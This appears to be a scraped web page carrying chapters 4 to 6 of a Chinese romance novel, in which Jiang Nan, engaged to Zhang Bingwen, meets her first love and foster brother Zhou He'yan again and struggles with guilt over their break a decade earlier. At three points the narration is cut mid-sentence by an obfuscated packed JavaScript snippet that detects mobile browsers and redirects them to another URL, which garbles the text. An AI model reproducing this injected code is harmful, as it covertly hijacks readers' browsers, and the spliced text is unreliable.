到了傍晚用水高峰期,姜南家总缺水,因为姜青山是警察,又是党员,按他的话说“人民群众优先,我们要有舍己为人的精神。” 姜南可没有那么强大的内心力量,她拎着红色塑胶桶挤在人群中去接水洗菜。 深秋的水,温凉。 初摸觉得刚好贴合皮肤的温度,可没一会,就隐约刺着骨头疼,像是一阵从寒冷的北方刮来的穿堂风,后劲十足。 姜南将菜捞起,又沉下。 还没冲洗干净,她面前的水龙头就突然被关了,关她水的正是臭着脸的周赫言。 姜南没好脾气,回头瞪了眼周赫言,“你也学姜青山那套。” 两人时常针尖对麦芒,一个很小的事情都能争辩半天,谁也不肯让步。 吵到脸红脖子粗的,是常有的事情,往往这个时候,姜青山就坐在木椅子上笑,也不劝架,还有点看热闹不嫌事大的乐观心态,“南南,你认输吧,你逻辑思维能力根本不如小言,你哥就是让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夹杂着青岛啤酒的清甜味。 还有柠檬糖的清新味。 两个人拙劣的互相像对方表达着自己心底最深处的情感。 就像是脱离太久水源的鱼类,终于活了,它们在水里来回穿梭,享受着这一刻的美好。 纠缠不休。 良久后,周赫言眼角有泪,“姜南,以后你不能忘了我,因为我是你的初恋。” “那是自然。”姜南应允,“忘了谁也不可能忘了你,隔着十万八千里,我一眼就能认出你来。” 周边有人走过去,像是踢到了摆在角落里的垃圾桶,男人咒骂一声,听见动静,姜南回过神来。 那时候的她和周赫言的情感彼此是真的。 这点到如今,姜南都是深信不疑的。 原本应该大学一毕业就会结婚吧,人人都羡慕的那种把初恋修成正果的婚姻,可惜的是,大学还没开学,两人就分开了,还约定老死不相往来。 姜青山那天问她是不是真决定和张秉文结婚,他是试探。 连姜青山都明白,她的心里为周赫言保留着一亩三分地,不止是她,姜青山也同样,四年的情份,做不到当个陌生人的。 “那件事情真不能怪小言,要怪也是怪我。” 这话姜青山说过不止一次。 姜南哪有资格去怪周赫言,她只是不能原谅自己。 她懦弱地将自己藏进一个死胡同里,给四周都钉上粗的木条,不见天日,她告诉自己,罪魁祸首是周赫言。 她以此来苟且偷生罢了。 “言哥,新娘子敬酒了。” 突如其来的声音让姜南抬起头来。 她的余光看过去,东南角,处于自己对立面的角落里,有个男人站在那,感应灯忽明忽暗,瞧不清他的脸。 直到西侧那个声音的主人,染着一头黄发的男人一边走过来一边冲着她招手,并非常热情地喊着:“姜南,好巧,在这儿遇见你……我是谷志航,你高中同学。” 姜南才意识到,他喊的“言哥”是周赫言。 两人是高中时候的死党。 一起去网吧打游戏,一起翻墙翘课,一起看成熟女性杂志的铁哥们。 “姜南,你该不会已经忘了我吧。”谷志航挫败地叹了口气,“即便是十年没见,可是以我的颜值,不该被遗忘啊。” “小谷,好久不见。”姜南眉目间带着疏离。 4. 第四章 爷爷去世后周赫言养过一只野犬。 他第一次看见它的时候,它被一只张牙舞爪的流浪狗追赶撕咬。 它瘸了一条腿,还有块永远长不出毛发的疤痕。 后来,他时常带着野犬在周围溜达,训练它的胆量,筒子楼附近的大狗,小狗都怕它,常常大老远就躲开。 有一天,野犬又碰见了那只流浪狗,它隔着河岸看野犬,吠了一声,野犬突然失控地跑回筒子楼。 那天之后,野犬的那块疤痕又开始溃烂、结痂、化脓、最后烂成了一个疮。 来年开春,野犬悄无声息地走了。 这么多年,周赫言以为自己早就治好了野犬的病,其实并非。 姜南的一句“没有半点真心”,无疑是压死骆驼的最后一根稻草。 安静的环境下,周赫言那边只有打火机齿轮擦出的声响。 他咬着烟凑进火源,抽了半根才缓过神来。 “走吧,小谷。” 他的语调很平静。 谷志航盯他几秒,然后走过来,小声说:“像个爷们一样去打招呼。” 周赫言没去,反而往反方向走,手上的烟还在燃着,也不知道怎么了,也就那么一瞬间,他感觉烟雾刺进眼睛里,特别不舒服。 上高中的时候,有一次谷志航偷了他爸的烟带到学校里,青春期的少年,禁不住诱惑,一群人躲在后山的角落里学抽烟。 烟吸进去,怎么吐出来都不知道,所有人都被呛得掉眼泪。 后来谷志航学会了抽烟,他总是随身带烟,他吐着烟圈,和周赫言炫耀,“牛逼不! 那一群少年里,也就周赫言没碰过烟。 他从心底里是抵触抽烟的,他感觉高中生抽烟像是街上的二流子,他害怕自己在不知情的情况下自甘堕落,慢慢配不上姜南。 和姜南分开后,周赫言在谷志航家不吃不喝躺了两天,谷志航说也不听,劝也不行,他一气之下从小卖部买了一条烟和一打酒,白的,啤的都有。 酒一杯一杯下肚,周赫言问谷志航要了根烟。 “不是不学吗?”谷志航问。 “试试。” “回头姜南知道了,你可别把我供出来,她像个泼妇一样,非得把我家拆了。”谷志航点着打火机凑过来。 周赫言猛吸一口,“不会的。” 说好老死不相往来,姜南从何而知,彼此说了那么多的狠话,他们之间已经完了。 就像是现在,谷志航将他又点燃的烟给掐灭,一副恨铁不成钢的嘴脸,“抽抽抽,抽不死你,现在烟瘾比我还大。” 周赫言微微皱眉,“你和她打什么招呼。” “你跑什么,见面三分情,你可以和姜南先从朋友做起,真要这样,搞得这么尴尬。” 谷志航不知道,周赫言平静的外表下,内心有多么动荡,就像是一滩死水,可它也在酝酿着一场水底风暴。 “我和你是朋友,和她做不成朋友。” “你这摆明着要把自己逼死。” 谷志航叹了口气。 “我怕自己太急,靠太近,把她又吓跑。” “你以为你这样,刻意的保持距离,就能安然无恙,周赫言,你别忘了,姜南要结婚了,你真能看着她嫁给别人无动于衷?我看你是怂了?是怕再受到伤害。” 周赫言被戳穿心思,开始狡辩:“明知道对方有把刀,你还会凑上去?” 谷志航拍了拍周赫言的肩,力道不轻,像是替他下决心般:“再试一次,大不了今晚我陪你,喝吐了,喝进医院,我都陪你。我见不得你这副死样,没出息。” * 刚回到宴会厅,姜南就被江小杰拉过去见了一个朋友。 只是她没想到所谓的朋友是周赫言。 他穿了一件丝质的黑色衬衫,袖口挽起,露出的那一截小臂饱满而结实。 看见江小杰过来,他探身拖过桌子上的烟灰缸,掐灭了烟。 江小杰热情而激动,大方的向面前的两人介绍姜南:“周学长,给你介绍一下,这是我女朋友姜南。” 哐当一声,邻座的谷志航碰倒酒杯。 他视线平缓地扫向周赫言,也没吭声,像是看大戏般饶有兴趣。 他的眉梢,嘴角都是情绪。 周赫言横了他一眼,接着便从搭在椅背上的西装口袋里掏出一张名片递给江小杰,“以后有事可以直接找我。” 对同校的校友,最基本的前辈提携后辈。 名片左上角写着周赫言,括号里写着(老板),旁边一行字“航言网咖”,一个手机号码,一个地址。 “周学长,航言网咖是你开的啊?”江小杰漆黑的瞳孔一顿,他没意料到,学医的学霸会在一个小县城开网咖,“这网咖得有十年了吧,就开在那家特有名的小馄饨铺旁边,我记得我上初中的时候就常去那家网咖,说不定那时候我就见过周学长,真是好巧。” “和朋友合开的。”周赫言说。 被提到的谷志航点头打了个招呼,“既然是老熟人,以后你来给你打折。” 他还冲着姜南笑:“你来也打折。” 江小杰这时候才想起自己忽略了姜南,他赶紧拉开周赫言另一侧的凳子,示意姜南坐下,姜南坐下后,他又说:“姜南,那家网咖就在你家旁边那条街,你去过吗?” 被点到名的姜南一时没说话,她离周赫言很近,近到她很清楚的就可以看见周赫言右手袖口遮住的那条疤痕。 它狰狞着面孔从肘关节延伸出来,当时的那条伤口原来留疤了。 “没去过。”姜南回他。 “也对,女的很少去网咖。” 江小杰还想接着说什么,兜里的手机却响了,他走到旁边去接电话。 人一走,周赫言就准备起身离开,身躯还没怎么动弹,宽厚的肩膀就被强而有力的手掌摁住。 他回头对上手臂的主人,刀子似的眼神直接剐过去。 他也不清楚,谷志航又要闹哪门子幺蛾子。 谷志航可不管,再尴尬的局他都能解。 他不能再看着周赫言这样,他真怕他撑不住,哪天突然撒手人寰。 “你们真要这样?曾经那么熟悉,现在非要装不认识?” “十年了,不是三五年。” “姜南,这十年,周赫言哪也没去,他就待在文都,就在那条街上,你但凡去过一次就能遇上他,可你一次也没来过。” “他手臂上的那条疤,当时缝了十八针,他连麻药也没打,他说他心里太疼,那段时间他喝酒、抽烟,伤口结痂了又撕开,经历了化脓到血肉模糊,折腾小半年,到头来也没好全。” “他除了你,谁的话也不听,那时候我真怕他死了,我给你发微信,你把我删了,我给你打电话,你把我拉黑,姜南,你不怕他死吗?还是你的心真是石头变的。” “我不知道你们当初为什么会闹得那么凶,可现在我们都长大了,不是十年前的小孩子,很多事情摊开说,会有办法解决的。” “周赫言,有什么话你快说清楚,非要藏在心里,逼死自己。” 空气静默半晌。 周赫言低头捏了捏烟盒,里面空空扁扁,最后一根烟早就被他抽了。 他将烟盒重新丢回桌上,没了性子。 “姜南,这十年你对我有没有一丁点遗憾。” 姜南看看周赫言,再看看谷志航,她没想到他一开口就问的这么露骨,明明前几天还装作陌生人一样。 他喊她嫂子。 用那种潮湿的冷调,没什么情绪。 遗憾吗? 姜南不配,十九岁的少女不明白,可二十九岁的她已经明白了。 十九岁的少女一股脑的把周赫言推开,把本该属于自己的罪责强行加在周赫言身上。 那个时候少女就已经配不上他的喜欢,她南去上大学,离开文都,都是为了给自己心理上找一个躲避的借口。 姜南原本以为自己那时候做了那么过分的事情,周赫言早就死心,所以在重逢的那次见面,她满心以为,那辣得让她胃疼的鱿鱼是他故意报复,想看她出洋相,可如今听谷志航这样说来,这十年,他没忘了她,那鱿鱼是他的试探。 她到底做了什么。 她的愧疚更深了一些。 越来越矛盾的想法让她在迟疑许久后开口道:“哥。” 轻飘飘一个字。 她心里清楚,自己必须断了周赫言的念想。 十年,一个人能有几个十年。 曾经造成的伤害是无法弥补的,破碎的镜子再怎么粘回去也有一道裂缝,她没办法抹平周赫言心里的伤痛,那就义无反顾的绝情到头。 周赫言眼皮一颤,突然五脏六腑变着法难受,比那次被铁钉子拉了一长条,缝合针直接戳进肉里,皮开肉绽的时候都疼。 “你叫我什么?”一双黑眸直直盯着她,企图以为是自己听错了。 姜南咬住下唇:“哥,好久不见,你好吗?” 周赫言本来就喝了酒,情绪上脸,如今听着姜南这话,心里那叫一个五味杂成。 那张眉眼俊朗的脸,像结了冰霜一样难看。 “姜南,你果然对我没有半点真心。” 瞧着周赫言头也不回地走掉,谷志航这才意料到事情搞砸了,他冲着姜南吼了一句:“你存心恶心他是不是,那几年从来都不叫哥,今天你叫什么哥。” 谷志航将桌子上的手机拿起来,气没地方撒,就直接一脚踹翻邻座的椅子,“姜南,你变了。” * 回到家,姜南在玄关口换了鞋就打算直接进屋,路过客厅时看见坐在沙发上正在看报的姜青山,便没什么精神地说:“爸,我回来了。” 姜青山推了推老花镜,“锅子里炖着鸽子汤,我今天早上菜市场挑的,炖了一下午。” “不吃了,没什么胃口。” 也不知道怎么,姜南感觉心里头堵得慌,尤其是听谷志航说了那些话后。 她原本以为,这十年,周赫言不说过得很风光,至少也是舒舒服服的。 可他没有成为年少时想当的医生,也没有离开文都,甚至更没有忘了她。 原来陷入死循环的,从始至终都是周赫言。 而她自己是假唐僧,在路过女儿国的时候就放弃了西天取经的道路。 她比周赫言先过上好日子。 姜青山放下报纸,“身体不舒服?” “没有。”姜南摇头,“可能有点累,我先去洗澡。” 姜青山也没再说什么。 旁人不了解内因,但姜青山是懂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191277|197068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 一定是瞧见别人结婚,心里发酸,不好受。 姜南洗完澡出来的时候,卧室桌子上放着一碗鸽子汤,上面零星飘着枸杞子。 在碗筷的旁边,还摆了一支冰棍。 也就这老头能想到,她心情不好的时候会想吃冰棍。 姜南裹着宽松的睡衣,端着碗回了客厅,姜青山还在看报,昏黄的灯光下,他看得认真,八成又在看人民日报。 一件老汉背心,一条棉麻裤,姜青山对穿的不讲究,没退休前老是穿警队制服,他身板硬实,穿着格外精神,现在整天窝在家里,就不怎么爱修边幅。 见她出来,姜青山摁灭了那半截烟,“味道怎么样?最近看你心神不宁的,我找老中医开了方子,掺在鸽子汤里,味道淡些,好入口。” 姜南坐在餐桌旁,喝了一碗又添一碗。 她的确需要助眠的方子。 不用想也知道,今晚注定又是个不眠夜,这几天,失眠已经成为家常便饭。 “爸,这几年你有没有去过谷叔叔的小馄饨铺?” 冷不丁姜南突然冒出一句。 姜青山抬起眼睛往姜南这边看,“谷瑞庭?” “嗯。” “去了,不常去。有时候突然好那口了,就溜着弯往那走,走着走着就到铺子门口,谷瑞庭一见我就非拉着我进去尝尝味道,他那小馄饨就一个味道,尝来尝去没什么新花样,也就吃个情怀,”姜青山笑笑,眼尾的褶子加深了他的轮廓,“你想吃了?爸明天给你买去。” “没有,我就随便问问。” 姜南将碗筷放在水池里,混点洗洁精后用百洁布擦拭,犹豫几秒后,她又回头看姜青山,小老头也在看她。 “爸,这几年你有没有见过周赫言?” 姜青山拿着报纸的手几乎是颤着的,他自己都能感觉到,像是突然得了阿兹海默症,手抖得不受控制。 这么多年,姜青山还是第一次从姜南嘴里听到这个名字,就这么冷静地说了出来。 没有他想象中那么情绪抵触。 很冷静。异常冷静。 当年老房子拆迁,一时半会拿不着新房子,警局领导看在姜青山杰出的贡献份上,就破格给他安排了住所,警所旁边的筒子楼,两室一厅,不算宽敞。 他去的第一天,就在楼梯拐角处遇见了周赫言。 寒冬腊月的天,周赫言穿着单薄的外套,他嘴里啃着馒头,从姜青山身旁路过时,很有礼貌地喊了声:“叔叔好。” 姜青山瞧着他往筒子楼门外走,背着沉甸甸的书包,早就是几年前的款式,他的手冻得通红,连副手套也没有。 姜青山的心“咯噔”一下。 像是被屋檐上厚厚的冰霜砸到,裂了一道口子。 从居委会打听后才知道这是自己当年从人贩子手上救下的孩子,周老伯去世后,就一个人住,靠着政府给的补贴,日子过得很窘迫。 居委会大妈一口一个可怜,直接给姜青山本就摇摆不定的心,加了道锁。 决定照顾周赫言那天,他找姜南单独谈了话。 姜青山:“他很可怜。” 姜南没什么概念:“有多可怜?” 姜青山:“他连件棉服都没有,更别提羽绒服,过年给你买的那件新衣服,够他吃半年馒头。” 姜南两眼泪汪汪:“爸,让他来吧。” 周赫言正式搬进家那天,正好是除夕。 久违的大太阳,晒化了楼道里的冰锥,它们淌了水,冰凉,却烫化了周赫言的心。 姜南扎着高高的马尾,眉眼弯弯的给他递了一件黑色羽绒服,“新年礼物。” 她小声地凑近说:“我选的,本来我爸要买大红色的,我没让。” “红色怎么不好,过年就得穿红色的,喜庆。”姜青山从厨房端了热腾腾的红烧肉出来,“来,小言快坐。” 一桌子菜。 鱼、虾、肉,什么都有。 还有一大碗饺子。 吃完饭,姜青山拿出四双红色的袜子,周赫言一双,姜南一双,姜宋一双,他自己一双。 他说:“以后我们就是一家人。” 姜南皱眉:“爸,又不是本命年穿什么红袜子,这和我的白色羽绒服完全不搭呀,晚上我还要下楼放鞭炮,被同学看见岂不是要笑话我。” 姜青山:“红色辟邪,来年才能一帆风顺。” 姜南没了法子,只能把事情往周赫言身上推,她朝着周赫言挤眉弄眼的,“周赫言,你说是不是不配,这红色袜子和你的黑色羽绒服更不配。” 外面放鞭炮了,夜晚光线浑浊,被突然的光亮混合,从窗花镂空处折射进来。 周赫言感觉夜色在姜南身上燃烧。 他笑笑,发自内心的高兴:“我喜欢。” 那几年,屋子里吵吵嚷嚷,追逐打闹的,后来的日子里,再也没有这般光景。 外面再怎么繁华,家里永远冷冷清清。 纷飞的思绪忽然被打断,姜青山的闹钟响了,到中年男人该睡觉的时间点。 姜青山摘下眼镜,起了身,“这些年,他过的不好。” 水从掌心满出来,姜南慌乱地关掉水龙头。 她推周赫言的那一下。 好像真的把他推进了深渊。 5. 第五章 张秉文回到文都,已经是一周后。 他回了趟老家,说是去见合作伙伴,有生意上的往来推脱不掉,可姜南知道,他是找个借口去医院看张学强,又怕抹不开面子。 这四年,张秉文虽然心里恨,可嘴里从来没说过张学强的半点坏话。 姜南开门就看见张秉文长腿交叠,身体靠在沙发上,皮质的料,一躺下就完全陷进去。 他叼着烟,抬头看她,动作慵懒却很经看。 姜南在门口换了双舒适的拖鞋,进门问道:“吃饭了吗?” 张秉文摇头。 “我给你做,正好昨天刚买了菜。”姜南说。 张秉文的房子离姜青山家不远,又正好在姜南上下班的必经之路上,所以她有的时候会顺道过来看看。 张秉文经常出差,她就会定时帮他清理冰箱里过期、变质的食物,然后再添上一些,以备不时之需。 张秉文常说她是贤妻良母。说她以后有了孩子一定也是个好母亲。 每次提到这个,姜南总能看见他眼睛里一闪而过的心酸。 外表再怎么冷漠薄情的人,也会在这样灯火通明的傍晚,看着家家户户围坐在桌子前吃饭,他也会落寞,想起自己的母亲吧。 张秉文起身,掐灭烟,“一起,好久没吃你做的菜。” “吃什么?”姜南一时犯难。 “辣炒牛肉?糖醋虾?蒸个螃蟹?再整两个素的,你还有什么想吃的?”张秉文一边翻着冰箱里的食材,一边询问意见:“什么都行,我做。” 姜南拖着尾音,“我想吃你做的酸菜鱼……” “好。” 张秉文利索地刮鱼鳞,破腹,去鱼肠,鱼入水,洗净血水。 他将鱼沥干水,又撒入姜片,料酒,腌鱼料,一通抓匀后又去处理螃蟹。 张秉文动作熟练,姜南压根插不上手,只能选择去择芹菜。 忙活一个多小时,菜就做好了。 基本上都是张秉文做的,姜南就只做了一个芹菜炒肉丝。 刚在一起的时候,两人一起去餐厅吃饭,点的菜里有一道辣炒牛肉。 厨师那天可能心情不好,自己的招牌菜炒得又老又柴,难以下咽。 张秉文打趣说这还不如他做的。 姜南那时以为他是开玩笑的,以他的家庭条件,根本不需要自己下厨。 可后来有一次,张秉文留她在家吃饭,他烧了一桌子菜,其中就有辣炒牛肉,姜南尝了一口,又鲜又嫩,简直完爆那个厨师。 多次尝试下来,姜南才知道,“川鲁粤淮扬,闽浙湘本帮”,他基本都会,也拿得出手。 张秉文说他小时候,家里并不富裕,父母经商,常年在外面闯自己的事业,没日没夜不着家,那些年他几乎都是一个人度过的。 他会在周末晚上,做上一桌子饭菜,等着他们回来吃,从滚烫等到凉透,他们都没回来。 “趁热吃。”张秉文和姜南说话时桌子上的手机响了,他接过后就往玄关口走去,边走边回应对方:“3603,你出电梯直接右拐。” 姜南突然有一种很强烈的预感。 来的人是周赫言。 因为她瞧见客厅的桌子上摆放着一堆饭盒,之前没见过,他也没让她吃,估摸着是张秉文从老家带回来的,至于为什么带回来,应该是受人之托。 果不其然,门开后,那个熟悉的身影正好与她的视线对撞。 他今天穿了件宽松的白色短袖T恤,下身是条黑色短裤,与前几次的相遇不同,没有死板的西装,多了几分朝气。 张秉文迎他进来,“吃饭了吗?” 一前一后走进来两个男人。 周赫言也瞧见了姜南,她看他的眼神,小心翼翼,匆匆瞥了一眼就赶紧挪开。 那种眼神,像是那年她捡回来一只受伤的小鸟,她精心照顾,可有一次下大暴雨她忘了将笼子收回来。 雨下了一整夜,清晨太阳出来的时候,小鸟已经没了呼吸,它耷拉着脑袋,翅膀也蔫着。 铁笼子周围被刮了很多细小的划痕,尖锐的鸟喙磨得凹凸不平,它倒在那,湿漉漉的。 姜南站在原地哭了很久,得了结膜炎,反复治疗一个多月才好。 从那之后,她看见鸟儿就会有那种愧疚的眼神,不敢对视,又忍不住想要看,看着看着就红了眼。 她也再没养过别的小动物。 和姜南住在一个屋檐下四年,他很清楚她的这般态度是在表达什么。 周赫言脚步顿了顿,片刻就恢复正常,他跟着张秉文往里走,想着拿完顾薇托张秉文带的饭盒就走,可路过餐桌时,看见桌面上那盘翠绿的芹菜,他突然犹豫了。 他心里明白,那盘芹菜是姜南做的,因为她喜欢在炒芹菜的时候撒上一把花椒,去除芹菜本身的苦涩。 周赫言并不认同这样的做法,花椒的麻感并不能完全覆盖住苦味,反而使这道菜失去原本的清新。 他喜欢在炒芹菜的时候加上适量的糖去综合味道,可姜南不愿意,后来他就被她同化了。 “没吃。”周赫言说。 张秉文去厨房拿了碗筷,“凑合吃点。” 周赫言没拒绝,顺势坐在姜南对面的空座上,他坐下后,明显感觉姜南身体一怔,往后撤了半步。 他也没打招呼,她的窘迫他看在眼里,互不打扰是最好的态度,他回头问张秉文:“爸,怎么样?” 张秉文耸肩,递过来碗筷,“老了,比不上从前,他就那样躺在那看我,我感觉他不认识我,过了很久才想起来。 周赫言夹了一筷芹菜。 还是那样苦涩的味道,夹杂着麻入神经的花椒味。 他明明还记得这个味道,却感觉和以前不一样,具体哪里不一样,又谈不上来。 或许沾了毒的美食,让人有种恍惚感。 “医生说他要好好休息,不能再受刺激。”张秉文问:“好好的怎么突然犯病。” “你上次说的那个工厂联合了好几家别的地方的厂子,突然都不愿意接公司的订单,订单不能如约完成,损失不小,最重要的是,爸这人看中信誉。” “我早就说过,他之前给他们的价格太高,打破了行业的规矩,养的那些人贪得无厌,总觉得还能要得更高。就像是鸟,你给它吃得过于肥硕,它就会慢慢丧失飞行能力,反而想要窝在笼子里等着投食,等到有别人给它更多的食物,它就会抖着翅膀背叛自己的主人,搬到别的笼子里。” 张秉文声音发闷,又补了句:“小鸟如果真要走,只能先折断它的翅膀。” 周赫言:“哥,看来你真是做生意的料,我就不行,精神层面达不到你那个高度。” “爸有意培养你,必然是看中你的优秀。过谦了。” 张秉文还是那样的神情,笑着但是让你摸不着他是高兴还是不高兴。 “吃菜,吃菜。”他给姜南夹菜,也招呼周赫言多吃点。 周赫言看着姜南握着筷子的手指,指端发白,谨小慎微的模样,他的出现再一次让她不安。 看着这一幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191278|197068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周赫言心里不舒服,他想提早结束这场饭局,正当他想要放下筷子,提出离开时,张秉文撇撇嘴,轻声感慨:“姜南,这芹菜,你放糖了?又放糖,又放花椒,这做法我还是第一次见,你自创的?味道很独特。” 闻言,姜南愣了下:“就随便做做,你知道的,我对厨艺不精通。” 周赫言要走的步伐被搁置,他吃得太过于急切,芹菜里的糖没有尝出来。 他伸出筷子,又夹上一筷。 饭吃到一半,张秉文的手机响了,他走到窗口去接电话,说了两句又过来,“我公司有事要过去一趟,你们慢吃,我尽量快去快回。” 姜南想要同去,却遭到张秉文的婉拒:“外面下雨,出去一趟淋了雨回头又要发烧,听话,在家陪我弟聊会天,我很快就回来。” 临走前,张秉文在姜南额头上亲了一口。 很轻,可她还是感觉到他下巴处冒出来的青茬扎了她。 刺痛到让她很不自在。 门关了,偌大的屋子里只有两个人。 彼此都能听见对方的呼吸声,从平缓到更平缓。 桌子上的菜也没再动过筷子。 时隔多年,这还是两个人第一次独处,与那次不一样,十九岁的微醺下借着酒精上头,许多话都能直接说出口,不会害怕结果,可长大后,患得患失,少了许多勇气。 没了年轻的资本,也没了失去的本钱。 姜南突然想起网上的一段话: 【我非常喜欢的一个东西,是一个人十三四岁的夏天,在路上捡到一支真枪。因为年少无知,天不怕地不怕,他扣下扳机。没有人死,也没有人受伤。他认为自己开了空枪。后来他三十岁或者更老,走在路上听到背后有隐隐约约的风声。他停下来转过身去,子-弹正中眉心。】 “姜南,以后我做你哥。” 说出这句话的时候,周赫言感觉窗外潮湿的雾气侵入他喉咙,堵在那下不去,好不容易下去,又堵在胸口,没有过多的心理准备,让他喘不上气来。 谷志航说过,如果他和姜南之间隔着一条海,那他必须放弃继续追逐,因为按照姜南的性子,她会打翻船只,任凭海浪将她淹没。 他追得越紧,她会逃得越快,有可能还会伤害自己。 姜青山说这几天姜南睡不踏实,梦里总是吵着闹着说什么“我错了”,“别来找我”,“求求你帮我找一下他”。 隔着门,姜青山听着姜南哭到哑了嗓子,第二天仍旧像个没事人一样起床去上班。 周赫言给她求了安神助眠的方子。 吃了两天,说是有效果,他也想通了,不逼她,顺其自然吧,与其让她精神内耗,还不如他收敛一下感情。 他精神分裂惯了,早就是个空壳子。 “好。”姜南说。 姜南的胸口被针扎了下,那种感觉很奇怪,像是将一只顽劣不堪,屡次将人咬伤的狼,训练成了一只温顺的羊。 它失去原来的脾性,也或者说它披上了羊的外皮。 那个与她争辩,永不服输的少年,被时间打磨支配,慢慢服了软。 不知道是可喜的,还是可悲的。 周赫言又说:“我和你之间,从现在开始,归零。” 他将胳膊伸出来,毫无遮掩地搁在桌面上,他指着那道疤痕,“包括这道伤口。” 这无形是在说,这道伤与她无关,这些年,他过得好与不好皆与她没有任何瓜葛。 姜南眼眶蓦地就红了。 他是在告诉她,不必愧疚。 6. 第六章 深夜城市的一角。 凌晨2点刚过。 文都烧烤摊仍旧冒着浓烟,羊肉串的味道四处飘散。 雷阵雨一过,闷热逐渐散去,反而透出寒意。 谷志航看着瓶子里仅剩了一点的白酒,想都没想,直接全部倒给了周赫言,满满当当一杯,倒的时候太急躁,晃得玻璃杯外壁湿漉漉的。 他抬手抽纸擦桌子,旁侧的姜南见状后将烤串盘往干净的地方推了推。 “你们还是没说为什么会一起来?” 谷志航擦完桌子,又开了一瓶啤酒。 刚才瞧见一男一女朝这边走过来,从黑暗过渡到微弱的光亮里,谷志航偏着头,吊儿郎当地扯着嗓子喊:“呦,言哥,千年铁树开花了,这是从哪找的漂亮妹妹。” 等人走近后,谷志航吓的直接从凳子上摔了下去。 姜南的眼神在昏暗的灯带下闪动,“小谷。” 多次询问之后,两人都对此闭口不谈。 也不解释为什么会在一起,更别提让他们说出彼此目前的关系。 谷志航看着面前的两人对面而坐,浑身上下都散发出那种假装的熟悉,他这个局外人一眼就能看破,“不说算了,我也不是八婆,懒得操心你们的破事,喝酒喝酒。” 他举杯去碰周赫言的杯子,又碰姜南的。 姜南的杯子里是混着零星颗粒的鲜榨果汁。 “喝什么饮料呀,老朋友重逢怎么能不喝酒。” 谷志航起身给姜南倒了杯啤酒。 手刚伸出去,就被周赫言摁住了手腕,他手指夹着的烟蒂燃了不少,一用力烟灰不偏不倚刚好落在谷志航的手背上,顷刻间,烫了块红晕。 “你丫的有病。” 酒晃出来了。 谷志航吃了痛,眉梢微扬,满脸不悦,“姜南又不是小孩,喝点酒怎么了,她以前又不是没喝过,喝醉了,顶多我们给她安然无恙送回去。” 说到这,谷志航转头看看姜南,瞧着她清澈的眼神,忽然就停住,没了兴致,“得得得,不喝算了,扫兴。” 姜南其实会喝酒,白的,啤的都会。 姜青山这几年总是会在吃饭的时候自己小酌一杯,姜南就陪着一起喝,喝完酒两个人就聊心事,平时张不开嘴的话这个时候都会吐露出来。 慢慢的姜南酒量越练越大,还能把姜青山喝趴下。 在她印象里,也就只喝醉过一次,是在高三毕业那年的暑假。 谷志航组织的同学局,来的都是几个关系好的同学,高考完大伙都像是脱僵的野马,绳子还没松开,就耐不住躁动,吵着要做一些成年人做的事情。 喝酒就成为他们的首选。 六个人聚在谷志航家的小馄饨铺里,门一关,谷志航从后厨搬出两箱啤酒,还有几盘烤串、糟花生、糟毛豆。 “我爸准备的,怎么样?” 大伙立马投去羡慕的表情。 谷瑞庭可是大家心目中标配的好爸爸,特开明一大叔,大概正是这样,才养成谷志航这样社牛的性格。 谷瑞庭常说:谷志航成绩是不好,班级里的垫底大王,可他情商高,会来事,往后也饿不死,实在不行,就继承我的小馄饨铺,也算是家族企业。 “你爸真好。”同学孙亮说。 “你们要是实在羡慕,往后就多找点亲戚朋友,七大姑八大姨的,来我们家小馄饨铺吃馄饨,赚了钱,我爸才有动力继续干下去,要不然什么时候倒闭,我们就没有秘密基地了。” 谷志航一条腿踩在凳子上,笑着给大家开啤酒,起子硌得指腹发白还乐呵呵傻笑。 后来一人分了四瓶酒。 两女孩子一看冒着气的啤酒,咕噜咕噜往外扑腾,连忙摇头,“我不会喝。” “啤酒就像是白开水一样。”谷志航调侃,“不喝酒的今天这局可凑不上。” 两女孩还在犹豫,谷志航只好拉着姜南做表率,“你们瞧姜南,同样是女孩子,她就能喝,是不是,南姐。” 被停在杠头上的姜南抹不开面子,“喝就喝,谁怕谁。” “这局这样才好玩。” 酒过三巡,大伙觉得干喝没意思,就有人提出要玩真心话大冒险。 谷志航做东,是第一个转酒瓶的人,墨绿色的酒瓶晃晃悠悠,在众目睽睽之下转到姜南那。 谷志航蔫儿坏:“真心话。你和沈威亲嘴没?” “哇,一开始就这么劲爆。”孙亮起哄。 四个人都盯着姜南看,就周赫言没有,他低着头闷了一口酒。 姜南和沈威谈恋爱大伙都知道,沈威人长得帅,家里又有钱,学校里迷恋他的小妹妹一大堆。 可这人就一根筋的喜欢姜南,追了大半年,情书一封封送,礼物一份份砸,可算是追到了。 俊男靓女。学校里公认的。 姜南的神色不是很自在,她与沈威之间并没有什么关系,学校里谣言传来传去,好像就被大伙慢慢默认成真的。 